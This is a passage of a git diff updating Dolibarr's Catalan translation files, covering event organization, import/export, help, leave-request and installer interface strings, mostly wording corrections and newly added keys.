vàlid BadSetupOfField = S'ha produït un error en configurar el camp -BadSetupOfFieldClassNotFoundForValidation = Error de configuració incorrecta del camp: no s'ha trobat la classe per validar-la -BadSetupOfFieldFileNotFound = Error de configuració incorrecta del camp: no s'ha trobat el fitxer per incloure-ho +BadSetupOfFieldClassNotFoundForValidation = Error de configuració incorrecta del camp: no s'ha trobat la classe per a la validació +BadSetupOfFieldFileNotFound = Error de configuració incorrecta del camp: no s'ha trobat el fitxer per a incloure'l BadSetupOfFieldFetchNotCallable = Error de configuració incorrecta del camp: la recuperació no es pot trucar a la classe diff --git a/htdocs/langs/ca_ES/eventorganization.lang b/htdocs/langs/ca_ES/eventorganization.lang index 8ad5bd64b6c..1a1ef41f4e7 100644 --- a/htdocs/langs/ca_ES/eventorganization.lang +++ b/htdocs/langs/ca_ES/eventorganization.lang @@ -36,7 +36,7 @@ EventOrganizationSetup=Configuració de l'organització d'esdeveniments EventOrganization=Organització d'esdeveniments Settings=Configuració EventOrganizationSetupPage = Pàgina de configuració de l'organització d'esdeveniments -EVENTORGANIZATION_TASK_LABEL = Etiqueta de tasques per a crear automàticament quan es validi el projecte +EVENTORGANIZATION_TASK_LABEL = Nom de tasques per a crear automàticament quan es valida el projecte EVENTORGANIZATION_TASK_LABELTooltip = A l'validar un esdeveniment per organitzar, algunes tasques es poden crear automàticament en el

      projecte Per exemple:
      Send Call per a les conferències
      Enviar crida per a cabines de
      suggeriments Validar de Conferències
      aplicació Validar per a cabines de
      subscripcions obertes per a l'esdeveniment per als assistents
      Envia un recordatori de l'esdeveniment als ponents
      Envia un recordatori de l'esdeveniment als organitzadors de l'estand
      Envia un recordatori de l'esdeveniment als assistents EVENTORGANIZATION_TASK_LABELTooltip2=Manteniu-lo en blanc si no necessiteu crear tasques automàticament. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Categoria per a afegir a tercers creada automàticament quan algú suggereix una conferència @@ -47,13 +47,14 @@ EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_BOOTH = Plantilla de correu electròni EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_EVENT = Plantilla de correu electrònic per a enviar després de pagar un registre a un esdeveniment. EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_SPEAKER = Plantilla de correu electrònic per a utilitzar quan s'envien correus electrònics des de l'acció massiva "Envia correus electrònics" als parlants EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_ATTENDES = Plantilla de correu electrònic per a utilitzar quan s'envien correus electrònics des de l'acció massiva "Envia correus electrònics" a la llista d'assistents -EVENTORGANIZATION_FILTERATTENDEES_CAT = Al formulari per crear/afegir un assistent, restringeix la llista de tercers a tercers de la categoria -EVENTORGANIZATION_FILTERATTENDEES_TYPE = En el formulari per crear/afegir un assistent, restringeix la llista de tercers a tercers amb la naturalesa +EVENTORGANIZATION_FILTERATTENDEES_CAT = En el formulari per a crear/afegir un assistent, restringeix la llista de tercers a tercers de la categoria +EVENTORGANIZATION_FILTERATTENDEES_TYPE = En el formulari per a crear/afegir un assistent, restringeix la llista de tercers a tercers amb la naturalesa # # Object # EventOrganizationConfOrBooth= Conferència o estand +EventOrganizationConfOrBoothes=Conferències o Estands ManageOrganizeEvent = Gestionar l’organització d’un esdeveniment ConferenceOrBooth = Conferència o estand ConferenceOrBoothTab = Conferència o estand @@ -114,25 +115,25 @@ EvntOrgRegistrationHelpMessage = Aquí podeu votar per una conferència o sugger EvntOrgRegistrationConfHelpMessage = Aquí podeu suggerir una nova conferència per animar durant l'esdeveniment. EvntOrgRegistrationBoothHelpMessage = Aquí, podeu sol·licitar tenir un estand durant l'esdeveniment. ListOfSuggestedConferences = Llista de conferències suggerides -ListOfSuggestedBooths = Llista de casetes suggerides -ListOfConferencesOrBooths=Llista de conferències o estands del projecte d'esdeveniments +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Suggereixi una conferència nova SuggestBooth = Suggereixi un estand ViewAndVote = Consulteu i voteu els esdeveniments suggerits PublicAttendeeSubscriptionGlobalPage = Enllaç públic per inscriure’s a l’esdeveniment PublicAttendeeSubscriptionPage = Enllaç públic per registrar-se només a aquest esdeveniment MissingOrBadSecureKey = Falta la clau de seguretat o no és vàlida -EvntOrgWelcomeMessage = Aquest formulari us permet registrar-vos com a nou participant a l'esdeveniment: %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = Aquesta conferència comença el dia %s i finalitza el dia %s. ConferenceAttendeeFee = Tarifa de l'assistent a la conferència per a l'esdeveniment: "%s" que passa de %s a %s. BoothLocationFee = Ubicació de l'estand per a l'esdeveniment: "%s" que passa de %s a %s EventType = Tipus d'esdeveniment -LabelOfBooth=Etiqueta de l'estand -LabelOfconference=Etiqueta de conferència +LabelOfBooth=Nom de l'estand +LabelOfconference=Nom de la conferència ConferenceIsNotConfirmed=La inscripció no està disponible, la conferència encara no està confirmada DateMustBeBeforeThan=%s ha de ser anterior a %s DateMustBeAfterThan=%s ha de ser posterior a %s - +MaxNbOfAttendeesReached=S'ha arribat al nombre màxim de participants NewSubscription=Inscripció OrganizationEventConfRequestWasReceived=S'ha rebut el vostre suggeriment per a una conferència OrganizationEventBoothRequestWasReceived=La vostra sol·licitud d’estand s’ha rebut @@ -157,7 +158,7 @@ VoteOk = El vostre vot s’ha acceptat. AlreadyVoted = Ja heu votat per aquest esdeveniment. VoteError = S'ha produït un error durant la votació. Torneu-ho a provar. -SubscriptionOk = El vostre registre s'ha validat +SubscriptionOk=S'ha enregistrat la teva inscripció ConfAttendeeSubscriptionConfirmation = Confirmació de la subscripció a un esdeveniment Attendee = Assistent PaymentConferenceAttendee = Pagament dels assistents a la conferència @@ -165,8 +166,11 @@ PaymentBoothLocation = Pagament de la ubicació de l’estand DeleteConferenceOrBoothAttendee=Elimina l'assistent RegistrationAndPaymentWereAlreadyRecorder=Ja es va registrar un registre i un pagament per al correu electrònic %s EmailAttendee=Correu electrònic de l'assistent +EmailCompany=Correu electrònic de l'empresa EmailCompanyForInvoice=Correu electrònic de l'empresa (per a la factura, si és diferent del correu electrònic dels assistents) ErrorSeveralCompaniesWithEmailContactUs=S'han trobat diverses empreses amb aquest correu electrònic, de manera que no podem validar automàticament el vostre registre. Si us plau, poseu-vos en contacte amb nosaltres a %s per a una validació manual ErrorSeveralCompaniesWithNameContactUs=S'han trobat diverses empreses amb aquest nom, de manera que no podem validar automàticament el vostre registre. Si us plau, poseu-vos en contacte amb nosaltres a %s per a obtenir una validació manual NoPublicActionsAllowedForThisEvent=No hi ha cap acció pública oberta al públic per a aquest esdeveniment MaxNbOfAttendees=Nombre màxim d'assistents +DateStartEvent=Data d'inici de l'esdeveniment +DateEndEvent=Data de finalització de l'esdeveniment diff --git a/htdocs/langs/ca_ES/exports.lang b/htdocs/langs/ca_ES/exports.lang index cc36d947d53..1c129dba5ca 100644 --- a/htdocs/langs/ca_ES/exports.lang +++ b/htdocs/langs/ca_ES/exports.lang @@ -26,7 +26,7 @@ FieldsTitle=Títol camps FieldTitle=Títol camp NowClickToGenerateToBuildExportFile=Ara, seleccioneu el format de fitxer al quadre combinat i feu clic a "Genera" per a crear el fitxer d'exportació... AvailableFormats=Formats disponibles -LibraryShort=Llibreria +LibraryShort=Biblioteca ExportCsvSeparator=Caràcter separador del CSV ImportCsvSeparator=Caràcter separador del CSV Step=Pas @@ -42,7 +42,7 @@ NoImportableData=Sense taules de dades importables (cap mòdul amb les definicio FileSuccessfullyBuilt=Fitxer generat SQLUsedForExport=Consulta SQL utilitzada per a extreure dades LineId=ID de línia -LineLabel=Etiqueta de la línia +LineLabel=Nom de la línia LineDescription=Descripció de línia LineUnitPrice=Preu unitari de la línia LineVATRate=Tipus d'IVA de la línia @@ -57,8 +57,8 @@ FileMustHaveOneOfFollowingFormat=El fitxer a importar ha de tenir un dels següe DownloadEmptyExampleShort=Descarrega un fitxer de mostra DownloadEmptyExample=Baixeu un fitxer de plantilla amb exemples i informació sobre camps que podeu importar StarAreMandatory=Al fitxer de plantilla, tots els camps amb * són camps obligatoris -ChooseFormatOfFileToImport=Trieu el format del fitxer que voleu utilitzar com a format de fitxer d'importació fent clic a la icona %s per seleccionar-lo ... -ChooseFileToImport=Pengeu un fitxer i feu clic a la icona %s per seleccionar el fitxer com a fitxer d'importació d'origen ... +ChooseFormatOfFileToImport=Trieu el format de fitxer que voleu utilitzar com a format de fitxer d'importació fent clic a la icona %s per a seleccionar-lo... +ChooseFileToImport=Carregueu el fitxer i feu clic a la icona %s per a seleccionar el fitxer com a fitxer d'importació d'origen... SourceFileFormat=Format de l'arxiu origen FieldsInSourceFile=Camps en el fitxer origen FieldsInTargetDatabase=Camps destinació a la base de dades Dolibarr (*=obligatori) @@ -95,8 +95,8 @@ NbOfLinesOK=Nombre de línies sense errors ni warnings: %s. NbOfLinesImported=Nombre de línies correctament importades: %s. DataComeFromNoWhere=El valor a inserir no correspon a cap camp de l'arxiu origen. DataComeFromFileFieldNb=El valor a inserir prové de la columna %s al fitxer font. -DataComeFromIdFoundFromRef=El valor que prové de la columna %s del fitxer font s'utilitzarà per a trobar l'identificador de l'objecte pare que s'utilitzarà (per tant, l'objecte %s que té referència del fitxer font ha d'existir a la base de dades). -DataComeFromIdFoundFromCodeId=El codi que prové de la columna %s del fitxer font s'utilitzarà per a trobar l'identificador de l'objecte principal que cal utilitzar (per tant, el codi del fitxer font ha d'existir al diccionari %s). Tingueu en compte que si coneixeu l'identificador, també podeu utilitzar-lo al fitxer font en lloc del codi. La importació hauria de funcionar en ambdós casos. +DataComeFromIdFoundFromRef=El valor que prové del fitxer font s'utilitzarà per a trobar l'identificador de l'objecte mare a utilitzar (per tant, l'objecte %s que té la referència del fitxer font ha d'existir a la base de dades). +DataComeFromIdFoundFromCodeId=El valor del codi que prové del fitxer font s'utilitzarà per a trobar l'identificador de l'objecte pare a utilitzar (per tant, el codi del fitxer font ha d'existir al diccionari %s). Tingueu en compte que si coneixeu l'identificador, també podeu utilitzar-lo al fitxer font en lloc del codi. La importació hauria de funcionar en ambdós casos. DataIsInsertedInto=Les dades de l'arxiu d'origen s'inseriran en el següent camp: DataIDSourceIsInsertedInto=L'identificador de l'objecte pare, que s'ha trobat amb les dades del fitxer d'origen, s'inserirà al camp següent: DataCodeIDSourceIsInsertedInto=L'identificador de la línia pare, que s'ha trobat a partir del codi, s'inserirà al camp següent: @@ -119,7 +119,7 @@ ExportNumericFilter=NNNNN filtra per un valor
      NNNNN+NNNNN filtra sobre un ran ImportFromLine=Importa començant des del número de línia EndAtLineNb=Final en el número de línia ImportFromToLine=Interval límit (Des de - Fins a). Per exemple per a ometre les línies de capçalera. -SetThisValueTo2ToExcludeFirstLine=Per exemple, estableixi aquest valor a 3 per excloure les 2 primeres línies.
      Si no s'ometen les línies de capçalera, això provocarà diversos errors en la simulació d'importació. +SetThisValueTo2ToExcludeFirstLine=Per exemple, establiu aquest valor a 3 per a excloure les 2 primeres línies.
      Si NO s'ometen les línies de capçalera, això provocarà diversos errors a la simulació d'importació. KeepEmptyToGoToEndOfFile=Mantingueu aquest camp buit per a processar totes les línies fins al final del fitxer. SelectPrimaryColumnsForUpdateAttempt=Seleccioneu les columnes que vulgueu utilitzar com a clau principal per a la importació d'ACTUALITZACIÓ UpdateNotYetSupportedForThisImport=L'actualització no és compatible amb aquest tipus d'importació (només afegir) @@ -134,7 +134,9 @@ FormatControlRule=Regla de control de format ## imports updates KeysToUseForUpdates=Clau (columna) a utilitzar per actualització dades existents NbInsert=Nombre de línies afegides: %s +NbInsertSim=Number of lines that will be inserted: %s NbUpdate=Nombre de línies actualitzades: %s +NbUpdateSim=Number of lines that will be updated : %s MultipleRecordFoundWithTheseFilters=S'han trobat múltiples registres amb aquests filtres: %s StocksWithBatch=Estocs i ubicacions (magatzem) de productes amb número de lot/sèrie WarningFirstImportedLine=Les primeres línies no s'importaran amb la selecció actual diff --git a/htdocs/langs/ca_ES/help.lang b/htdocs/langs/ca_ES/help.lang index 431e2d14223..95c3c5ae6ef 100644 --- a/htdocs/langs/ca_ES/help.lang +++ b/htdocs/langs/ca_ES/help.lang @@ -3,10 +3,10 @@ CommunitySupport=Assistència Forums i Wiki EMailSupport=Assistència E-Mail RemoteControlSupport=Suport en línia en temps real / remot OtherSupport=Altres tipus d'assistència -ToSeeListOfAvailableRessources=Per contactar/veure els recursos disponibles: +ToSeeListOfAvailableRessources=Per a contactar/veure els recursos disponibles: HelpCenter=Centre d'ajuda DolibarrHelpCenter=Centre d'Ajuda i Suport de Dolibarr -ToGoBackToDolibarr=En cas contrari, fes clic aquí per continuar utilitzant Dolibarr . +ToGoBackToDolibarr=En cas contrari, feu clic aquí per a continuar utilitzant Dolibarr. TypeOfSupport=Tipus de suport TypeSupportCommunauty=Comunitari (gratuït) TypeSupportCommercial=Comercial @@ -20,4 +20,4 @@ BackToHelpCenter=En cas contrari, torna a la pàgina d'inici del C LinkToGoldMember=Pots trucar a un dels formadors preseleccionats per Dolibarr pel teu idioma (%s) fent clic al seu Panell (l'estat i el preu màxim s'actualitzen automàticament): PossibleLanguages=Idiomes disponibles SubscribeToFoundation=Ajuda al projecte Dolibarr, adhereix-te a l'associació -SeeOfficalSupport=Per a obtenir suport oficial de Dolibarr en el vostre idioma:
      %s +SeeOfficalSupport=Per a obtenir suport oficial de Dolibarr en el vostre idioma:
      %s diff --git a/htdocs/langs/ca_ES/holiday.lang b/htdocs/langs/ca_ES/holiday.lang index 3a8eed8851f..c29fa3d1198 100644 --- a/htdocs/langs/ca_ES/holiday.lang +++ b/htdocs/langs/ca_ES/holiday.lang @@ -1,12 +1,14 @@ # Dolibarr language file - Source file is en_US - holiday HRM=RH Holidays=Dies lliures -CPTitreMenu=Dies lliures +Holiday=Dies lliures +CPTitreMenu=Dia lliure MenuReportMonth=Estat mensual -MenuAddCP=Sol·licitud nova de permís +MenuAddCP=Sol·licitud nova de dia lliure +MenuCollectiveAddCP=Nova sol·licitud de festiu col·lectiu NotActiveModCP=Heu d'habilitar el mòdul Dies lliures per a veure aquesta pàgina. -AddCP=Realitzar una petició de dies lliures -DateDebCP=Data inici +AddCP=Feu una sol·licitud de dia lliure +DateDebCP=Data d'inici DateFinCP=Data fi DraftCP=Esborrany ToReviewCP=A l'espera d'aprovació @@ -24,10 +26,10 @@ UserForApprovalFirstname=Nom de l'usuari d'aprovació UserForApprovalLastname=Cognom de l'usuari d'aprovació UserForApprovalLogin=Nom d'usuari de l’usuari d’aprovació DescCP=Descripció -SendRequestCP=Enviar la petició de dies lliures -DelayToRequestCP=Les peticions de dies lliures s'han de realitzar al menys %s dies abans. +SendRequestCP=Crea una sol·licitud de dia lliure +DelayToRequestCP=Les sol·licituds de dies lliures s'han de fer com a mínim %s dia abans. MenuConfCP=Saldo de dies lliures -SoldeCPUser=Deixa el saldo (en dies) %s +SoldeCPUser=Saldo de dies lliures %s ErrorEndDateCP=Ha d'indicar una data de fi superior a la data d'inici. ErrorSQLCreateCP=S'ha produït un error de SQL durant la creació: ErrorIDFicheCP=S'ha produït un error, aquesta sol·licitud de dies lliures no existeix @@ -38,8 +40,8 @@ RequestByCP=Comandada per TitreRequestCP=Fitxa de dies lliures TypeOfLeaveId=Tipus d'identificador de baixa TypeOfLeaveCode=Tipus de codi de baixa -TypeOfLeaveLabel=Tipus d'etiqueta de baixa -NbUseDaysCP=Nombre de dies de permís utilitzats +TypeOfLeaveLabel=Nom de tipus de permís +NbUseDaysCP=Nombre de dies lliures utilitzats NbUseDaysCPHelp=El càlcul té en compte els dies inhàbils i les vacances definides al diccionari. NbUseDaysCPShort=Dies de permís NbUseDaysCPShortInMonth=Dies de permís al mes @@ -51,11 +53,12 @@ DeleteCP=Eliminar ActionRefuseCP=Rebutja ActionCancelCP=Cancel·la StatutCP=Estat -TitleDeleteCP=Eliminar la petició de dies lliures +TitleDeleteCP=Suprimeix la sol·licitud de dies lliures ConfirmDeleteCP=Estàs segur de voler eliminar aquesta petició de dies lliures? ErrorCantDeleteCP=Error, no teniu permisos per a suprimir aquesta sol·licitud de permís. CantCreateCP=No teniu accés a fer sol·licituds de permís. InvalidValidatorCP=Heu de triar l’aprovador per a la vostra sol·licitud de permís. +InvalidValidator=L'usuari escollit no és un aprovador. NoDateDebut=Ha d'indicar una data d'inici. NoDateFin=Ha d'indicar una data de fi. ErrorDureeCP=La seva petició de dies lliures no conté cap dia hàbil @@ -73,34 +76,43 @@ DetailRefusCP=Motiu del rebuig DateRefusCP=Data del rebuig DateCancelCP=Data de l'anul·lació DefineEventUserCP=Assignar permís excepcional a un usuari -addEventToUserCP=Assignar aquest permís +addEventToUserCP=Assignar dia lliure NotTheAssignedApprover=No sou l'aprovador assignat MotifCP=Motiu UserCP=Usuari ErrorAddEventToUserCP=S'ha produït un error en l'assignació del permís excepcional. -AddEventToUserOkCP=S'ha afegit el permís excepcional. +AddEventToUserOkCP=S'ha completat la incorporació del dia lliure excepcional. +ErrorFieldRequiredUserOrGroup=Cal omplir el camp "grup" o el camp "usuari". +fusionGroupsUsers=El camp de grups i el camp d'usuari es fusionaran MenuLogCP=Veure registre de canvis -LogCP=Registre de totes les actualitzacions realitzades a "Saldo de permisos" +LogCP=Registre de totes les actualitzacions fetes a «Saldo de dies lliures» ActionByCP=Actualitzat per UserUpdateCP=Actualitzat per a PrevSoldeCP=Saldo anterior NewSoldeCP=Saldo nou alreadyCPexist=En aquest període ja s’ha fet una sol·licitud de dia lliure. +UseralreadyCPexist=Ja s'ha fet una sol·licitud de festiu en aquest període per a %s. +groups=Grups +users=Usuaris +AutoSendMail=Correu automàtic +NewHolidayForGroup=Nova sol·licitud de festiu col·lectiu +SendRequestCollectiveCP=Enviar sol·licitud de festiu col·lectiu +AutoValidationOnCreate=Validació automàtica FirstDayOfHoliday=Primer dia de sol·licitud de permís LastDayOfHoliday=Últim del dia de sol·licitud de permís BoxTitleLastLeaveRequests=Últimes %s peticions de dies lliures modificades HolidaysMonthlyUpdate=Actualització mensual ManualUpdate=Actualització manual -HolidaysCancelation=Anulació de dies lliures +HolidaysCancelation=Cancel·lació de la sol·licitud de dies lliures EmployeeLastname=Cognoms de l'empleat EmployeeFirstname=Nom de l'empleat TypeWasDisabledOrRemoved=El tipus de dia lliure (id %s) ha sigut desactivat o eliminat -LastHolidays=Les darreres %s sol·licituds de permís +LastHolidays=Últimes %s sol·licituds de dies lliures AllHolidays=Totes les sol·licituds de permís HalfDay=Mig dia NotTheAssignedApprover=No sou l'aprovador assignat LEAVE_PAID=Vacances pagades -LEAVE_SICK=Baixa per enfermetat +LEAVE_SICK=Baixa per malaltia LEAVE_OTHER=Altres sortides LEAVE_PAID_FR=Vacances pagades ## Configuration du Module ## @@ -117,13 +129,13 @@ HolidaysToValidateBody=A continuació es mostra una sol·licitud de permís per HolidaysToValidateDelay=Aquesta sol·licitud de dies lliures retribuïts tindrà lloc en un termini de menys de %s dies. HolidaysToValidateAlertSolde=L'usuari que ha realitzat la sol·licitud de dies lliures retribuïts no disposa de suficients dies disponibles HolidaysValidated=Sol·licituds de permís validats -HolidaysValidatedBody=La seva sol·licitud de dies lliures retribuïts des de el %s al %s ha sigut validada. +HolidaysValidatedBody=La vostra sol·licitud de dies lliures de %s a %s s'ha validat. HolidaysRefused=Dies lliures retribuïts denegats HolidaysRefusedBody=La seva sol·licitud de dies lliures retribuïts des de el %s al %s ha sigut denegada per el següent motiu: HolidaysCanceled=Dies lliures retribuïts cancel·lats HolidaysCanceledBody=S'ha cancel·lat la vostra sol·licitud de permís del %s al %s. FollowedByACounter=1: Aquest tipus de dia lliure necessita el seguiment d'un comptador. El comptador s'incrementa manualment o automàticament i quan hi ha una petició de dia lliure validada, el comptador es decrementa.
      0: No seguit per un comptador. -NoLeaveWithCounterDefined=No hi ha cap tipus de dia lliure definit que hagi de seguir un comptador +NoLeaveWithCounterDefined=No hi ha cap mena de dia lliure definit que hagi de ser seguit per un comptador GoIntoDictionaryHolidayTypes=Aneu a Inici - Configuració - Diccionaris - Tipus de dies lliures per a configurar els diferents tipus de dies lliures. HolidaySetup=Configuració del mòdul Dies de permís HolidaysNumberingModules=Models de numeració de sol·licituds de dies de permís @@ -131,9 +143,16 @@ TemplatePDFHolidays=Plantilla per a sol·licituds de permisos en PDF FreeLegalTextOnHolidays=Text gratuït a PDF WatermarkOnDraftHolidayCards=Marques d'aigua sobre esborranys de sol·licituds de dies lliures HolidaysToApprove=Vacances per a aprovar -NobodyHasPermissionToValidateHolidays=Ningú no té permís per a validar les vacances -HolidayBalanceMonthlyUpdate=Actualització mensual del saldo de vacances +NobodyHasPermissionToValidateHolidays=Ningú té permís per a validar les sol·licituds de dies lliures +HolidayBalanceMonthlyUpdate=Actualització mensual del saldo de dies lliures XIsAUsualNonWorkingDay=%s sol ser un dia NO laborable BlockHolidayIfNegative=Bloqueja si el saldo és negatiu LeaveRequestCreationBlockedBecauseBalanceIsNegative=La creació d'aquesta sol·licitud de vacances està bloquejada perquè el vostre saldo és negatiu ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=La sol·licitud d'abandonament %s ha de ser esborrany, cancel·lada o rebutjada per eliminar-la +IncreaseHolidays=Augmentar el saldo de dies lliures +HolidayRecordsIncreased= %s saldos de dies lliures augmentats +HolidayRecordIncreased=Saldo de dies lliures augmentat +ConfirmMassIncreaseHoliday=Augment massiu del saldo de dies lliures +NumberDayAddMass=Nombre de dia per a afegir a la selecció +ConfirmMassIncreaseHolidayQuestion=Esteu segur que voleu augmentar les vacances dels registres seleccionats %s? +HolidayQtyNotModified=El saldo dels dies restants per a %s no s'ha canviat diff --git a/htdocs/langs/ca_ES/install.lang b/htdocs/langs/ca_ES/install.lang index e87de98def3..7591d31118f 100644 --- a/htdocs/langs/ca_ES/install.lang +++ b/htdocs/langs/ca_ES/install.lang @@ -8,7 +8,7 @@ ConfFileIsNotWritable=L'arxiu de configuració %s no és modificable. Com ConfFileIsWritable=L'arxiu %s és modificable. ConfFileMustBeAFileNotADir=El fitxer de configuració %s ha de ser un fitxer, no un directori. ConfFileReload=Actualització dels paràmetres del fitxer de configuració. -NoReadableConfFileSoStartInstall=El fitxer de configuració conf/conf.php no existeix o no es pot llegir. Executarem el procés d'instal·lació per intentar inicialitzar-lo. +NoReadableConfFileSoStartInstall=El fitxer de configuració conf/conf.php no existeix o no es pot llegir. Executarem el procés d'instal·lació per a intentar inicialitzar-lo. PHPSupportPOSTGETOk=Aquest PHP suporta bé les variables POST i GET. PHPSupportPOSTGETKo=És possible que aquest PHP no suport les variables POST i/o GET. Comproveu el paràmetre variables_order del php.ini. PHPSupportSessions=Aquest PHP suporta sessions @@ -28,6 +28,7 @@ ErrorPHPVersionTooLow=La versió de PHP és massa antiga. Es requereix la versi ErrorPHPVersionTooHigh=La versió de PHP és massa alta. Es requereix la versió %s o inferior. ErrorConnectedButDatabaseNotFound=S'ha trobat una connexió amb el servidor però la base de dades '%s' no s'ha trobat. ErrorDatabaseAlreadyExists=La base de dades '%s' ja existeix. +ErrorNoMigrationFilesFoundForParameters=No s'ha trobat cap fitxer de migració per a les versions seleccionades IfDatabaseNotExistsGoBackAndUncheckCreate=Si la base de dades no existeix, torneu enrere i marqueu l'opció "Crea una base de dades". IfDatabaseExistsGoBackAndCheckCreate=Si la base de dades ja existeix, torneu enrere i desmarqueu l'opció "Crea una base de dades". WarningBrowserTooOld=La versió del navegador és massa antiga. És molt recomanable actualitzar el vostre navegador a una versió recent de Firefox, Chrome o Opera. @@ -43,14 +44,13 @@ DolibarrDatabase=Base de dades Dolibarr DatabaseType=Tipus de la base de dades DriverType=Tipus del driver Server=Servidor -ServerAddressDescription=Nom o adreça IP del servidor de bases de dades. Normalment 'localhost' quan el servidor de base de dades està allotjat en el mateix servidor que el servidor web. +ServerAddressDescription=Nom o adreça IP del servidor de bases de dades. Normalment 'localhost' quan el servidor de bases de dades està allotjat al mateix servidor que el servidor web. ServerPortDescription=Port del servidor de la base de dades. Deixa-ho en blanc si ho desconeixes. DatabaseServer=Servidor de la base de dades DatabaseName=Nom de la base de dades DatabasePrefix=Prefix en les taules de base de dades DatabasePrefixDescription=Prefix de la taula de base de dades. Si està buit, per defecte a llx_. AdminLogin=Compte d'usuari del propietari de la base de dades Dolibarr. -PasswordAgain=Torna a escriure la confirmació de la contrasenya AdminPassword=Contrasenya de l'administrador de la base de dades Dolibarr. CreateDatabase=Crear la base de dades CreateUser=Crea un compte d'usuari o concedeix el permís del compte d'usuari a la base de dades Dolibarr @@ -82,19 +82,19 @@ GoToDolibarr=Aneu a Dolibarr GoToSetupArea=Aneu a Dolibarr (àrea de configuració) MigrationNotFinished=La versió de la base de dades no està completament actualitzada: torneu a executar el procés d'actualització. GoToUpgradePage=Aneu de nou a la pàgina d'actualització -WithNoSlashAtTheEnd=Sense el signe "/" al final +WithNoSlashAtTheEnd=Sense la barra inclinada «/» al final DirectoryRecommendation=  IMPORTANT : Heu d'utilitzar un directori que es troba fora de les pàgines web (no utilitzeu un subdirector del paràmetre anterior). LoginAlreadyExists=Ja existeix DolibarrAdminLogin=Nom d'usuari d’administrador de Dolibarr AdminLoginAlreadyExists=El compte d'administrador de Dolibarr ' %s ' ja existeix. Torneu enrere si voleu crear un altre. FailedToCreateAdminLogin=No s'ha pogut crear el compte d'administrador de Dolibarr. -WarningRemoveInstallDir=Advertiment, per motius de seguretat, un cop finalitzada la instal·lació o actualització, heu d'afegir un fitxer anomenat install.lock al directori del document Dolibarr per a evitar l'ús accidental / malintencionat de les eines d'instal·lació. +WarningRemoveInstallDir=Advertència, per motius de seguretat, un cop finalitzat el procés d'instal·lació, heu d'afegir un fitxer anomenat install.lock al directori de documents de Dolibarr per tal d'evitar l'ús accidental/maliciós de les eines d'instal·lació. FunctionNotAvailableInThisPHP=No està disponible en aquest PHP ChoosedMigrateScript=Elecció de l'script de migració DataMigration=Migració de la base de dades (dades) DatabaseMigration=Migració de la base de dades (estructura + algunes dades) ProcessMigrateScript=Execució del script -ChooseYourSetupMode=Trieu el mode de configuració i feu clic a "Comença"... +ChooseYourSetupMode=Trieu el vostre mode de configuració i feu clic a «Inici»... FreshInstall=Nova instal·lació FreshInstallDesc=Utilitzeu aquest mode si aquesta és la vostra primera instal·lació. Si no, aquest mode pot reparar una instal·lació prèvia incompleta. Si voleu actualitzar la vostra versió, seleccioneu "Actualitzar". Upgrade=Actualització @@ -112,7 +112,7 @@ YouAskDatabaseCreationSoDolibarrNeedToConnect=Heu seleccionat crear una base de YouAskLoginCreationSoDolibarrNeedToConnect=Heu seleccionat crear un usuari de base de dades %s , però per això, Dolibarr necessita connectar-se al servidor %s amb permisos de superusuari %s . BecauseConnectionFailedParametersMayBeWrong=La connexió a la base de dades ha fallat: els paràmetres de l'amfitrió o superusuari han de ser incorrectes. OrphelinsPaymentsDetectedByMethod=Pagaments orfes detectats pel mètode %s -RemoveItManuallyAndPressF5ToContinue=Esborreu manualment i premeu F5 per continuar. +RemoveItManuallyAndPressF5ToContinue=Esborreu-lo manualment i premeu F5 per a continuar. FieldRenamed=S'ha canviat el nom del camp IfLoginDoesNotExistsCheckCreateUser=Si l'usuari encara no existeix, heu de marcar l'opció "Crear usuari" ErrorConnection=El servidor " %s ", el nom de la base de dades " %s ", inici de sessió " %s " o la contrasenya de la base de dades pot ser incorrecte o la versió del client PHP pot ser massa antiga en comparació amb la versió de la base de dades. @@ -124,15 +124,15 @@ IfAlreadyExistsCheckOption=Si el nom és correcte i la base de dades no existeix OpenBaseDir=Paràmetre php openbasedir YouAskToCreateDatabaseSoRootRequired=Heu marcat el quadre "Crea una base de dades". Per això, heu de proporcionar el nom d'usuari / contrasenya del superusuari (part inferior del formulari). YouAskToCreateDatabaseUserSoRootRequired=Heu marcat el quadre "Crea propietari de la base de dades". Per això, heu de proporcionar el nom d'usuari / contrasenya del superusuari (part inferior del formulari). -NextStepMightLastALongTime=El següent pas pot trigar diversos minuts. Després d'haver validat, li agraïm esperi a la completa visualització de la pàgina següent per continuar. +NextStepMightLastALongTime=El pas actual pot trigar uns quants minuts. Espereu fins que es mostri completament la següent pantalla abans de continuar. MigrationCustomerOrderShipping=Migració de dades d'enviament de comandes de venda MigrationShippingDelivery=Actualització de les dades d'enviaments MigrationShippingDelivery2=Actualització de les dades d'enviaments 2 MigrationFinished=S'ha acabat la migració -LastStepDesc= Darrer pas : definiu aquí l'inici de sessió i la contrasenya que voleu utilitzar per connectar-se a Dolibarr. No perdis això, ja que és el compte mestre per administrar tots els altres / comptes d'usuari addicionals. +LastStepDesc=Últim pas: Definiu aquí l'inici de sessió i la contrasenya que voleu utilitzar per a connectar-vos a Dolibarr. No la perdeu, ja que és el compte principal per a administrar tots els altres comptes d'usuari addicionals. ActivateModule=Activació del mòdul %s ShowEditTechnicalParameters=Feu clic aquí per a mostrar/editar els paràmetres avançats (mode expert) -WarningUpgrade=Advertència:\nPrimer heu executat una còpia de seguretat de la base de dades?\nAixò és molt recomanable. La pèrdua de dades (a causa, per exemple, d'errors a la versió 5.5.40/41/42/43 de mysql) pot ser possible durant aquest procés, de manera que és essencial fer un buidatge complet de la vostra base de dades abans d'iniciar qualsevol migració.\n\nFeu clic a D'acord per a iniciar el procés de migració... +WarningUpgrade=Avís:\nHas fet una còpia de seguretat de la base de dades primer?\nAixò és molt recomanable. La pèrdua de dades (a causa, per exemple, d'errors a la versió de mysql 5.5.40/41/42/43) és possible durant aquest procés, per la qual cosa és essencial fer un bolcat complet de la base de dades abans d'iniciar qualsevol migració.\n\nFeu clic a D'acord per a iniciar el procés de migració... ErrorDatabaseVersionForbiddenForMigration=La versió de la vostra base de dades és %s. Té un error crític, que fa possible la pèrdua de dades si feu canvis estructurals a la base de dades, 